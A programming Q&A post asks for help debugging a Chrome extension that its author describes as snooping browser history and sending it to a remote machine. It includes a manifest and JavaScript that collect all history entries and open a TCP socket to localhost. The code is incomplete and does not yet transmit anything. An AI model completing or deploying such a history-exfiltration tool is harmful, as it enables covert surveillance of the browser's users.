title: Uncaught TypeError: Cannot read property 'tcp' of undefined in chrome extension
body: <p>I am trying to develop an extension in chrome which can snoop browser history and send it to a remote machine. I need to establish socket connection for transporting data.
  But I am getting the above error. Read a lot of posts online which say there must be errors in the manifest file in context with socket permissions. Can anyone find out the error? Please check the code beneath. </p>
  
  <p><strong>Manifest File:</strong></p>
  
  <pre><code>{
      "manifest_version": 2,
      "name": "Browser History Snooping",
      "description": "This extension snoops browser history and sends it to a remote machine",
      "version": "1.0",
      "browser_action": {
          "default_icon": "icon.png",
          "default_popup": "popup.html"
      },
      "permissions": [
          "history"
      ],
      "sockets": {
          "tcp": {
              "connect": ""
          }
      }
  }
  </code></pre>
  
  <p><strong>JavaScript</strong></p>
  
  <pre><code>var histories = [];
  var visits = [];
  
  chrome.history.search({
      text: '',
      maxResults: 0
  }, function (historyItems) {
      var historiesProcessed = 0;
      for (var i = 0; i &lt; historyItems.length; i++) {
          //histories.push(historyItems[i]);
          console.log(historyItems[i]);
  
          chrome.history.getVisits({
              url: historyItems[i].url
          }, function (visitItems) {
              for (var i = 0; i &lt; visitItems.length; i++) {
                  visits.push(visitItems[i]);
              }
              historiesProcessed++;
              if (historiesProcessed === historyItems.length) {
                  console.log(visits.length + ' visits');
              }
          });
      }
  
      console.log(histories);
  });
  
  chrome.sockets.tcp.create({}, function (createInfo) {
      chrome.sockets.tcp.connect(createInfo.socketId, '127.0.0.1', 8888,
          function (result) {
              if (result &gt;= 0) {
                  console.log('Successfully connected');
              }
          });
  });
  </code></pre>